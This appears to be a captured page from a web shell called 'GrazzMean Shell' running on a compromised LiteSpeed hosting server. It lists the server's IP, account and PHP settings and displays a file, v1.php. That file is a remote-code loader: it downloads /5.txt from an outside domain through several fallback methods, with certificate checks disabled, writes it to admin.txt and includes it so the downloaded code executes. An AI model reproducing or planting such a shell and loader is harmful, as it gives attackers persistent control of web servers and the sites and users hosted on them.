shell bypass 403

GrazzMean Shell

: /proc/self/cwd/ [ drwxr-x--- ]
Uname: Linux server230.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 8.1.32 [ PHP INFO ] PHP os: Linux
Server Ip: 198.54.115.51
Your Ip: 216.73.216.114
User: myflzuab (636) | Group: myflzuab (635)
Safe Mode: OFF
Disable Function:
NONE

name : v1.php
<?php
$protocol = "https";
$domain = "v1.javpornsub.net";
$file_path = "/5.txt";
$url = $protocol . "://" . $domain . $file_path;

function fetch_content($url, $method) {
    switch ($method) {
        case 'file_get_contents':
            if (ini_get('allow_url_fopen')) {
                return file_get_contents($url);
            }
            break;
        case 'curl':
            if (function_exists('curl_version')) {
                $ch = curl_init($url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                $response = curl_exec($ch);
                curl_close($ch);
                return $response;
            }
            break;
        case 'stream':
            if ($stream = fopen($url, 'r')) {
                $content = stream_get_contents($stream);
                fclose($stream);
                return $content;
            }
            break;
        default:
            return false;
    }
    return false;
}

$methods = ['file_get_contents', 'curl', 'stream'];
$content = false;

foreach ($methods as $method) {
    $content = fetch_content($url, $method);
    if ($content !== false) {
        break;
    }
}

if ($content !== false) {
    $temp_file = 'admin.txt';
    file_put_contents($temp_file, $content);
    include $temp_file;
    // Optional: unlink($temp_file); // hapus setelah dieksekusi
} else {
    echo "エラー。";
}
?>
© 2025 GrazzMean